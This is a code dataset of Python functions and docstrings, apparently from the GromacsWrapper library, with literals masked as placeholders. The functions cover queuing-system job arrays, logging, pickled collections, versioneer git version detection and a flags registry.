ignored\n\n    :Returns: list of generated run scripts", "id": "f6848:m1"}
{"signature": "def generate_submit_array(templates, directories, **kwargs):", "body": "dirname = kwargs.setdefault('<STR_LIT>', os.path.curdir)<EOL>reldirs = [relpath(p, start=dirname) for p in asiterable(directories)]<EOL>missing = [p for p in (os.path.join(dirname, subdir) for subdir in reldirs)<EOL>if not os.path.exists(p)]<EOL>if len(missing) > <NUM_LIT:0>:<EOL><INDENT>logger.debug(\"<STR_LIT>\", vars())<EOL>logger.error(\"<STR_LIT>\"<EOL>\"<STR_LIT>\", vars())<EOL><DEDENT>def write_script(template):<EOL><INDENT>qsystem = detect_queuing_system(template)<EOL>if qsystem is None or not qsystem.has_arrays():<EOL><INDENT>logger.warning(\"<STR_LIT>\", vars())<EOL>return None<EOL><DEDENT>kwargs['<STR_LIT>'] = qsystem.array(reldirs)<EOL>return generate_submit_scripts(template, **kwargs)[<NUM_LIT:0>]   <EOL><DEDENT>return [write_script(template) for template in config.get_templates(templates)]<EOL>", "docstring": "Generate a array job.\n\n    For each ``work_dir`` in *directories*, the array job will\n     1. cd into ``work_dir``\n     2. run the job as detailed in the template\n    It will use all the queuing system directives found in the\n    template. If more complicated set ups are required, then this\n    function cannot be used.\n\n    :Arguments:\n       *templates*\n          Basic template for a single job; the job array logic is spliced into\n          the position of the line ::\n              # JOB_ARRAY_PLACEHOLDER\n          The appropriate commands for common queuing systems (Sun Gridengine, PBS)\n          are hard coded here. The queuing system is detected from the suffix of\n          the template.\n       *directories*\n          List of directories under *dirname*. One task is set up for each\n          directory.\n       *dirname*\n          The array script will be placed in this directory. The *directories*\n          **must** be located under *dirname*.\n       *kwargs*\n          See :func:`gromacs.setup.generate_submit_script` for details.", "id": "f6848:m2"}
{"signature": "def __init__(self, name, suffix, qsub_prefix, array_variable=None, array_option=None):", "body": "self.name = name<EOL>self.suffix = suffix<EOL>self.qsub_prefix = qsub_prefix<EOL>self.array_variable = array_variable<EOL>self.array_option = array_option<EOL>", "docstring": "Define a queuing system's functionality\n\n        :Arguments:\n          *name*\n             name of the queuing system, e.g. 'Sun Gridengine'\n          *suffix*\n             suffix of input files, e.g. 'sge'\n          *qsub_prefix*\n             prefix string that starts a qsub flag in a script, e.g. '#$'\n\n        :Keywords:\n          *array_variable*\n             environment variable exported for array jobs, e.g.\n             'SGE_TASK_ID'\n          *array_option*\n             qsub option format string to launch an array (e.g. '-t %d-%d')", "id": "f6848:c0:m0"}
{"signature": "def flag(self, *args):", "body": "return \"<STR_LIT:U+0020>\".join((self.qsub_prefix,)+args)<EOL>", "docstring": "Return string for qsub flag *args* prefixed with appropriate inscript prefix.", "id": "f6848:c0:m1"}
{"signature": "def has_arrays(self):", "body": "return self.array_variable is not None<EOL>", "docstring": "True if known how to do job arrays.", "id": "f6848:c0:m2"}
{"signature": "def array_flag(self, directories):", "body": "return self.flag(self.array_option % (<NUM_LIT:1>,len(directories)))<EOL>", "docstring": "Return string to embed the array launching option in the script.", "id": "f6848:c0:m3"}
{"signature": "def array(self, directories):", "body": "if not self.has_arrays():<EOL><INDENT>raise NotImplementedError('<STR_LIT>'<EOL>'<STR_LIT>' % vars(self))<EOL><DEDENT>hrule = '<STR_LIT:#>'+<NUM_LIT>*'<STR_LIT:->'<EOL>lines = [<EOL>'<STR_LIT>',<EOL>hrule,<EOL>'<STR_LIT>',<EOL>self.array_flag(directories),<EOL>hrule,<EOL>'<STR_LIT>',<EOL>'<STR_LIT>']<EOL>for i,dirname in enumerate(asiterable(directories)):<EOL><INDENT>idx = i+<NUM_LIT:1>   <EOL>lines.append('<STR_LIT>'.format(**vars()))<EOL><DEDENT>lines.extend([<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'.format(**vars(self)),<EOL>'<STR_LIT>',<EOL>hrule,<EOL>'<STR_LIT>'<EOL>])<EOL>return \"<STR_LIT:\\n>\".join(lines)<EOL>", "docstring": "Return multiline string for simple array jobs over *directories*.\n\n        .. Warning:: The string is in ``bash`` and hence the template must also\n                     be ``bash`` (and *not* ``csh`` or ``sh``).", "id": "f6848:c0:m4"}
{"signature": "def isMine(self, scriptname):", "body": "suffix = os.path.splitext(scriptname)[<NUM_LIT:1>].lower()<EOL>if suffix.startswith('<STR_LIT:.>'):<EOL><INDENT>suffix = suffix[<NUM_LIT:1>:]<EOL><DEDENT>return self.suffix == suffix<EOL>", "docstring": "Primitive queuing system detection; only looks at suffix at the moment.", "id": "f6848:c0:m5"}
{"signature": "def save(self, filename):", "body": "cPickle.dump(self, open(self._canonicalize(filename), '<STR_LIT:wb>'), <EOL>protocol=cPickle.HIGHEST_PROTOCOL)<EOL>", "docstring": "Pickle the whole collection to *filename*.\n\n        If no extension is provided, \".collection\" is appended.", "id": "f6849:c0:m0"}
{"signature": "def load(self, filename, append=False):", "body": "tmp = cPickle.load(open(self._canonicalize(filename), '<STR_LIT:rb>'))<EOL>if append:<EOL><INDENT>self.extend(tmp)<EOL><DEDENT>else:<EOL><INDENT>self[:] = tmp[:]<EOL><DEDENT>del tmp<EOL>", "docstring": "Load collection from pickled file *filename*.\n\n        *append* determines if the saved collection is added to the current one\n        or if it replaces the current content.\n\n        If no extension is provided, \".collection\" is appended.", "id": "f6849:c0:m1"}
{"signature": "def tolist(self):", "body": "return self[:]<EOL>", "docstring": "Return contents as a simple list.", "id": "f6849:c0:m2"}
{"signature": "def _canonicalize(self, filename):", "body": "path, ext = os.path.splitext(filename)<EOL>if not ext:<EOL><INDENT>ext = \"<STR_LIT>\"<EOL><DEDENT>return path + ext<EOL>", "docstring": "Use .collection as extension unless provided", "id": "f6849:c0:m3"}
{"signature": "def __getnewargs__(self, *args, **kwargs):", "body": "return (self.tolist(),)<EOL>", "docstring": "Provide proper initialization to make pickling with protocol 2 work", "id": "f6849:c0:m4"}
{"signature": "def create(logger_name, logfile='<STR_LIT>'):", "body": "logger = logging.getLogger(logger_name)<EOL>logger.setLevel(logging.DEBUG)<EOL>logfile = logging.FileHandler(logfile)<EOL>logfile_formatter = logging.Formatter('<STR_LIT>')<EOL>logfile.setFormatter(logfile_formatter)<EOL>logger.addHandler(logfile)<EOL>console = logging.StreamHandler()<EOL>console.setLevel(logging.INFO)<EOL>formatter = logging.Formatter('<STR_LIT>')<EOL>console.setFormatter(formatter)<EOL>logger.addHandler(console)<EOL>return logger<EOL>", "docstring": "Create a top level logger.\n\n    - The file logger logs everything (including DEBUG).\n    - The console logger only logs INFO and above.\n\n    Logging to a file and the console.\n\n    See http://docs.python.org/library/logging.html?#logging-to-multiple-destinations\n\n    The top level logger of the library is named 'gromacs'.  Note that\n    we are configuring this logger with console output. If the root\n    logger also does this then we will get two output lines to the\n    console. We'll live with this because this is a simple\n    convenience library...", "id": "f6850:m0"}
{"signature": "def clear_handlers(logger):", "body": "for h in logger.handlers:<EOL><INDENT>logger.removeHandler(h)<EOL><DEDENT>", "docstring": "clean out handlers in the library top level logger \n\n    (only important for reload/debug cycles...)", "id": "f6850:m1"}
{"signature": "def get_keywords():", "body": "<EOL>git_refnames = \"<STR_LIT>\"<EOL>git_full = \"<STR_LIT>\"<EOL>git_date = \"<STR_LIT>\"<EOL>keywords = {\"<STR_LIT>\": git_refnames, \"<STR_LIT>\": git_full, \"<STR_LIT:date>\": git_date}<EOL>return keywords<EOL>", "docstring": "Get the keywords needed to look up the version information.", "id": "f6851:m0"}
{"signature": "def get_config():", "body": "<EOL>cfg = VersioneerConfig()<EOL>cfg.VCS = \"<STR_LIT>\"<EOL>cfg.style = \"<STR_LIT>\"<EOL>cfg.tag_prefix = \"<STR_LIT>\"<EOL>cfg.parentdir_prefix = \"<STR_LIT>\"<EOL>cfg.versionfile_source = \"<STR_LIT>\"<EOL>cfg.verbose = False<EOL>return cfg<EOL>", "docstring": "Create, populate and return the VersioneerConfig() object.", "id": "f6851:m1"}
{"signature": "def register_vcs_handler(vcs, method):  ", "body": "def decorate(f):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if vcs not in HANDLERS:<EOL><INDENT>HANDLERS[vcs] = {}<EOL><DEDENT>HANDLERS[vcs][method] = f<EOL>return f<EOL><DEDENT>return decorate<EOL>", "docstring": "Decorator to mark a method as the handler for a particular VCS.", "id": "f6851:m2"}
{"signature": "def run_command(commands, args, cwd=None, verbose=False, hide_stderr=False,<EOL>env=None):", "body": "assert isinstance(commands, list)<EOL>p = None<EOL>for c in commands:<EOL><INDENT>try:<EOL><INDENT>dispcmd = str([c] + args)<EOL>p = subprocess.Popen([c] + args, cwd=cwd, env=env,<EOL>stdout=subprocess.PIPE,<EOL>stderr=(subprocess.PIPE if hide_stderr<EOL>else None))<EOL>break<EOL><DEDENT>except EnvironmentError:<EOL><INDENT>e = sys.exc_info()[<NUM_LIT:1>]<EOL>if e.errno == errno.ENOENT:<EOL><INDENT>continue<EOL><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % dispcmd)<EOL>print(e)<EOL><DEDENT>return None, None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % (commands,))<EOL><DEDENT>return None, None<EOL><DEDENT>stdout = p.communicate()[<NUM_LIT:0>].strip()<EOL>if sys.version_info[<NUM_LIT:0>] >= <NUM_LIT:3>:<EOL><INDENT>stdout = stdout.decode()<EOL><DEDENT>if p.returncode != <NUM_LIT:0>:<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % dispcmd)<EOL>print(\"<STR_LIT>\" % stdout)<EOL><DEDENT>return None, p.returncode<EOL><DEDENT>return stdout, p.returncode<EOL>", "docstring": "Call the given command(s).", "id": "f6851:m3"}
{"signature": "def versions_from_parentdir(parentdir_prefix, root, verbose):", "body": "rootdirs = []<EOL>for i in range(<NUM_LIT:3>):<EOL><INDENT>dirname = os.path.basename(root)<EOL>if dirname.startswith(parentdir_prefix):<EOL><INDENT>return {\"<STR_LIT:version>\": dirname[len(parentdir_prefix):],<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": False, \"<STR_LIT:error>\": None, \"<STR_LIT:date>\": None}<EOL><DEDENT>else:<EOL><INDENT>rootdirs.append(root)<EOL>root = os.path.dirname(root)  <EOL><DEDENT><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" %<EOL>(str(rootdirs), parentdir_prefix))<EOL><DEDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL>", "docstring": "Try to determine the version from the parent directory name.\n\n    Source tarballs conventionally unpack into a directory that includes both\n    the project name and a version string. We will also support searching up\n    two directory levels for an appropriately named parent directory", "id": "f6851:m4"}
{"signature": "@register_vcs_handler(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>def git_get_keywords(versionfile_abs):", "body": "<EOL>keywords = {}<EOL>try:<EOL><INDENT>f = open(versionfile_abs, \"<STR_LIT:r>\")<EOL>for line in f.readlines():<EOL><INDENT>if line.strip().startswith(\"<STR_LIT>\"):<EOL><INDENT>mo = re.search(r'<STR_LIT>', line)<EOL>if mo:<EOL><INDENT>keywords[\"<STR_LIT>\"] = mo.group(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>if line.strip().startswith(\"<STR_LIT>\"):<EOL><INDENT>mo = re.search(r'<STR_LIT>', line)<EOL>if mo:<EOL><INDENT>keywords[\"<STR_LIT>\"] = mo.group(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>if line.strip().startswith(\"<STR_LIT>\"):<EOL><INDENT>mo = re.search(r'<STR_LIT>', line)<EOL>if mo:<EOL><INDENT>keywords[\"<STR_LIT:date>\"] = mo.group(<NUM_LIT:1>)<EOL><DEDENT><DEDENT><DEDENT>f.close()<EOL><DEDENT>except EnvironmentError:<EOL><INDENT>pass<EOL><DEDENT>return keywords<EOL>", "docstring": "Extract version information from the given file.", "id": "f6851:m5"}
{"signature": "@register_vcs_handler(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>def git_versions_from_keywords(keywords, tag_prefix, verbose):", "body": "if not keywords:<EOL><INDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>date = keywords.get(\"<STR_LIT:date>\")<EOL>if date is not None:<EOL><INDENT>date = date.strip().replace(\"<STR_LIT:U+0020>\", \"<STR_LIT:T>\", <NUM_LIT:1>).replace(\"<STR_LIT:U+0020>\", \"<STR_LIT>\", <NUM_LIT:1>)<EOL><DEDENT>refnames = keywords[\"<STR_LIT>\"].strip()<EOL>if refnames.startswith(\"<STR_LIT>\"):<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>refs = set([r.strip() for r in refnames.strip(\"<STR_LIT>\").split(\"<STR_LIT:U+002C>\")])<EOL>TAG = \"<STR_LIT>\"<EOL>tags = set([r[len(TAG):] for r in refs if r.startswith(TAG)])<EOL>if not tags:<EOL><INDENT>tags = set([r for r in refs if re.search(r'<STR_LIT>', r)])<EOL>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % \"<STR_LIT:U+002C>\".join(refs - tags))<EOL><DEDENT><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % \"<STR_LIT:U+002C>\".join(sorted(tags)))<EOL><DEDENT>for ref in sorted(tags):<EOL><INDENT>if ref.startswith(tag_prefix):<EOL><INDENT>r = ref[len(tag_prefix):]<EOL>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % r)<EOL><DEDENT>return {\"<STR_LIT:version>\": r,<EOL>\"<STR_LIT>\": keywords[\"<STR_LIT>\"].strip(),<EOL>\"<STR_LIT>\": False, \"<STR_LIT:error>\": None,<EOL>\"<STR_LIT:date>\": date}<EOL><DEDENT><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>return {\"<STR_LIT:version>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": keywords[\"<STR_LIT>\"].strip(),<EOL>\"<STR_LIT>\": False, \"<STR_LIT:error>\": \"<STR_LIT>\", \"<STR_LIT:date>\": None}<EOL>", "docstring": "Get version information from git keywords.", "id": "f6851:m6"}
{"signature": "@register_vcs_handler(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>def git_pieces_from_vcs(tag_prefix, root, verbose, run_command=run_command):", "body": "GITS = [\"<STR_LIT>\"]<EOL>if sys.platform == \"<STR_LIT:win32>\":<EOL><INDENT>GITS = [\"<STR_LIT>\", \"<STR_LIT>\"]<EOL><DEDENT>out, rc = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\"], cwd=root,<EOL>hide_stderr=True)<EOL>if rc != <NUM_LIT:0>:<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % root)<EOL><DEDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>describe_out, rc = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\" % tag_prefix],<EOL>cwd=root)<EOL>if describe_out is None:<EOL><INDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>describe_out = describe_out.strip()<EOL>full_out, rc = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\"], cwd=root)<EOL>if full_out is None:<EOL><INDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>full_out = full_out.strip()<EOL>pieces = {}<EOL>pieces[\"<STR_LIT>\"] = full_out<EOL>pieces[\"<STR_LIT>\"] = full_out[:<NUM_LIT:7>]  <EOL>pieces[\"<STR_LIT:error>\"] = None<EOL>git_describe = describe_out<EOL>dirty = git_describe.endswith(\"<STR_LIT>\")<EOL>pieces[\"<STR_LIT>\"] = dirty<EOL>if dirty:<EOL><INDENT>git_describe = git_describe[:git_describe.rindex(\"<STR_LIT>\")]<EOL><DEDENT>if \"<STR_LIT:->\" in git_describe:<EOL><INDENT>mo = re.search(r'<STR_LIT>', git_describe)<EOL>if not mo:<EOL><INDENT>pieces[\"<STR_LIT:error>\"] = (\"<STR_LIT>\"<EOL>% describe_out)<EOL>return pieces<EOL><DEDENT>full_tag = mo.group(<NUM_LIT:1>)<EOL>if not full_tag.startswith(tag_prefix):<EOL><INDENT>if verbose:<EOL><INDENT>fmt = \"<STR_LIT>\"<EOL>print(fmt % (full_tag, tag_prefix))<EOL><DEDENT>pieces[\"<STR_LIT:error>\"] = (\"<STR_LIT>\"<EOL>% (full_tag, tag_prefix))<EOL>return pieces<EOL><DEDENT>pieces[\"<STR_LIT>\"] = full_tag[len(tag_prefix):]<EOL>pieces[\"<STR_LIT>\"] = int(mo.group(<NUM_LIT:2>))<EOL>pieces[\"<STR_LIT>\"] = mo.group(<NUM_LIT:3>)<EOL><DEDENT>else:<EOL><INDENT>pieces[\"<STR_LIT>\"] = None<EOL>count_out, rc = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"],<EOL>cwd=root)<EOL>pieces[\"<STR_LIT>\"] = int(count_out)  <EOL><DEDENT>date = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"],<EOL>cwd=root)[<NUM_LIT:0>].strip()<EOL>pieces[\"<STR_LIT:date>\"] = date.strip().replace(\"<STR_LIT:U+0020>\", \"<STR_LIT:T>\", <NUM_LIT:1>).replace(\"<STR_LIT:U+0020>\", \"<STR_LIT>\", <NUM_LIT:1>)<EOL>return pieces<EOL>", "docstring": "Get version from 'git describe' in the root of the source tree.\n\n    This only gets called if the git-archive 'subst' keywords were *not*\n    expanded, and _version.py hasn't already been rewritten with a short\n    version string, meaning we're inside a checked out source tree.", "id": "f6851:m7"}
{"signature": "def plus_or_dot(pieces):", "body": "if \"<STR_LIT:+>\" in pieces.get(\"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>return \"<STR_LIT:.>\"<EOL><DEDENT>return \"<STR_LIT:+>\"<EOL>", "docstring": "Return a + if we don't already have one, else return a .", "id": "f6851:m8"}
{"signature": "def render_pep440(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"] or pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += plus_or_dot(pieces)<EOL>rendered += \"<STR_LIT>\" % (pieces[\"<STR_LIT>\"], pieces[\"<STR_LIT>\"])<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>rendered = \"<STR_LIT>\" % (pieces[\"<STR_LIT>\"],<EOL>pieces[\"<STR_LIT>\"])<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT><DEDENT>return rendered<EOL>", "docstring": "Build up version string, with post-release \"local version identifier\".\n\n    Our goal: TAG[+DISTANCE.gHEX[.dirty]] . Note that if you\n    get a tagged build and then dirty it, you'll get TAG+0.gHEX.dirty\n\n    Exceptions:\n    1: no tags. git_describe was just HEX. 0+untagged.DISTANCE.gHEX[.dirty]", "id": "f6851:m9"}
{"signature": "def render_pep440_pre(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>rendered = \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL><DEDENT>return rendered<EOL>", "docstring": "TAG[.post.devDISTANCE] -- No -dirty.\n\n    Exceptions:\n    1: no tags. 0.post.devDISTANCE", "id": "f6851:m10"}
{"signature": "def render_pep440_post(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"] or pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT>rendered += plus_or_dot(pieces)<EOL>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>rendered = \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL><DEDENT>return rendered<EOL>", "docstring": "TAG[.postDISTANCE[.dev0]+gHEX] .\n\n    The \".dev0\" means dirty. Note that .dev0 sorts backwards\n    (a dirty tree will appear \"older\" than the corresponding clean one),\n    but you shouldn't be releasing software with -dirty anyways.\n\n    Exceptions:\n    1: no tags. 0.postDISTANCE[.dev0]", "id": "f6851:m11"}
{"signature": "def render_pep440_old(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"] or pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>rendered = \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT><DEDENT>return rendered<EOL>", "docstring": "TAG[.postDISTANCE[.dev0]] .\n\n    The \".dev0\" means dirty.\n\n    Eexceptions:\n    1: no tags. 0.postDISTANCE[.dev0]", "id": "f6851:m12"}
{"signature": "def render_git_describe(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\" % (pieces[\"<STR_LIT>\"], pieces[\"<STR_LIT>\"])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL><DEDENT>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT>return rendered<EOL>", "docstring": "TAG[-DISTANCE-gHEX][-dirty].\n\n    Like 'git describe --tags --dirty --always'.\n\n    Exceptions:\n    1: no tags. HEX[-dirty]  (note: no 'g' prefix)", "id": "f6851:m13"}
{"signature": "def render_git_describe_long(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>rendered += \"<STR_LIT>\" % (pieces[\"<STR_LIT>\"], pieces[\"<STR_LIT>\"])<EOL><DEDENT>else:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL><DEDENT>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT>return rendered<EOL>", "docstring": "TAG-DISTANCE-gHEX[-dirty].\n\n    Like 'git describe --tags --dirty --always -long'.\n    The distance/hash is unconditional.\n\n    Exceptions:\n    1: no tags. HEX[-dirty]  (note: no 'g' prefix)", "id": "f6851:m14"}
{"signature": "def render(pieces, style):", "body": "if pieces[\"<STR_LIT:error>\"]:<EOL><INDENT>return {\"<STR_LIT:version>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": pieces.get(\"<STR_LIT>\"),<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT:error>\": pieces[\"<STR_LIT:error>\"],<EOL>\"<STR_LIT:date>\": None}<EOL><DEDENT>if not style or style == \"<STR_LIT:default>\":<EOL><INDENT>style = \"<STR_LIT>\"  <EOL><DEDENT>if style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_pep440(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_pep440_pre(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_pep440_post(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_pep440_old(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_git_describe(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_git_describe_long(pieces)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % style)<EOL><DEDENT>return {\"<STR_LIT:version>\": rendered, \"<STR_LIT>\": pieces[\"<STR_LIT>\"],<EOL>\"<STR_LIT>\": pieces[\"<STR_LIT>\"], \"<STR_LIT:error>\": None,<EOL>\"<STR_LIT:date>\": pieces.get(\"<STR_LIT:date>\")}<EOL>", "docstring": "Render the given version pieces into the requested style.", "id": "f6851:m15"}
{"signature": "def get_versions():", "body": "<EOL>cfg = get_config()<EOL>verbose = cfg.verbose<EOL>try:<EOL><INDENT>return git_versions_from_keywords(get_keywords(), cfg.tag_prefix,<EOL>verbose)<EOL><DEDENT>except NotThisMethod:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>root = os.path.realpath(__file__)<EOL>for i in cfg.versionfile_source.split('<STR_LIT:/>'):<EOL><INDENT>root = os.path.dirname(root)<EOL><DEDENT><DEDENT>except NameError:<EOL><INDENT>return {\"<STR_LIT:version>\": \"<STR_LIT>\", \"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT:error>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:date>\": None}<EOL><DEDENT>try:<EOL><INDENT>pieces = git_pieces_from_vcs(cfg.tag_prefix, root, verbose)<EOL>return render(pieces, cfg.style)<EOL><DEDENT>except NotThisMethod:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>if cfg.parentdir_prefix:<EOL><INDENT>return versions_from_parentdir(cfg.parentdir_prefix, root, verbose)<EOL><DEDENT><DEDENT>except NotThisMethod:<EOL><INDENT>pass<EOL><DEDENT>return {\"<STR_LIT:version>\": \"<STR_LIT>\", \"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT:error>\": \"<STR_LIT>\", \"<STR_LIT:date>\": None}<EOL>", "docstring": "Get version information or return default if unable to do so.", "id": "f6851:m16"}
{"signature": "def __init__(self,*args):", "body": "super(Flags,self).__init__([(flag.name,flag) for flag in args])<EOL>", "docstring": "For **developers**: Initialize Flags registry with a *list* of :class:`Flag` instances.", "id": "f6852:c0:m0"}
{"signature": "def doc(self):", "body": "return \"<STR_LIT>\".join([flag.__doc__ for flag in self._itervalues()])<EOL>", "docstring": "Shows doc strings for all flags.", "id": "f6852:c0:m2"}
{"signature": "def register(self,flag):", "body": "super(Flags,self).__setitem__(flag.name,flag)<EOL>", "docstring": "Register a new :class:`Flag` instance with the Flags registry.", "id": "f6852:c0:m3"}
{"signature": "def update(self,*flags):", "body": "super(Flags,self).update([(flag.name,flag) for flag in flags])<EOL>", "docstring": "Update Flags registry with a list of :class:`Flag` instances.", "id": "f6852:c0:m4"}
{"signature": "def __init__(self,name,default,mapping=None,doc=None):", "body": "self.name = name<EOL>self.value = default<EOL>self.default = default<EOL>self.mapping = mapping or IdentityMapping()<EOL>self._doctemplate = \"<STR_LIT>\" + (doc or \"<STR_LIT>\")<EOL>", "docstring": "Create a new flag which will be registered with FLags.\n\n          newflag = Flag(name,default,mapping,doc)\n\n        :Arguments:\n         *name*\n            name of the flag, must be a legal python name\n         *default*\n            default value\n         *mapping*\n            dict that maps allowed input values to canonical values;\n            if ``None`` then no argument checking will be performed and\n            all values are directly set.\n         *doc*\n            doc string; may contain string interpolation mappings for::\n\n                    %%(name)s        name of the flag\n                    %%(default)r     default value\n                    %%(value)r       current value\n                    %%(mapping)r     mapping\n\n            Doc strings are generated dynamically and reflect the current state.", "id": "f6852:c3:m0"}
{"signature": "def prop(self):", "body": "return {'<STR_LIT>':self.get, '<STR_LIT>':self.set, '<STR_LIT>':self.__doc__}<EOL>", "docstring": "Use this for property(**flag.prop())", "id": "f6852:c3:m3"}
{"signature": "def start_logging(logfile=\"<STR_LIT>\"):", "body": "from . import log<EOL>log.create(\"<STR_LIT>\", logfile=logfile)<EOL>logging.getLogger(\"<STR_LIT>\").info(\"<STR_LIT>\",<EOL>__version__, logfile)<EOL>", "docstring": "Start logging of messages to file and console.\n\n    The default logfile is named ``gromacs.log`` and messages are\n    logged with the tag *gromacs*.", "id": "f6853:m0"}
{"signature": "def stop_logging():", "body": "from . import log<EOL>logger = logging.getLogger(\"<STR_LIT>\")<EOL>logger.info(\"<STR_LIT>\", get_version())<EOL>log.clear_handlers(logger)<EOL>", "docstring": "Stop logging to logfile and console.", "id": "f6853:m1"}
{"signature": "def filter_gromacs_warnings(action, categories=None):", "body": "if categories is None:<EOL><INDENT>categories = less_important_warnings<EOL><DEDENT>for c in categories:<EOL><INDENT>try:<EOL><INDENT>w = globals()[c]<EOL><DEDENT>except KeyError:<EOL><INDENT>w = c<EOL><DEDENT>if not issubclass(w, Warning):<EOL><INDENT>raise TypeError(\"<STR_LIT>\".format(c))<EOL><DEDENT>warnings.simplefilter(action, category=w)<EOL><DEDENT>", "docstring": "Set the :meth:`warnings.simplefilter` to *action*.\n\n    *categories* must be a list of warning classes or strings.\n    ``None`` selects the defaults,  :data:`gromacs.less_important_warnings`.", "id": "f6853:m2"}
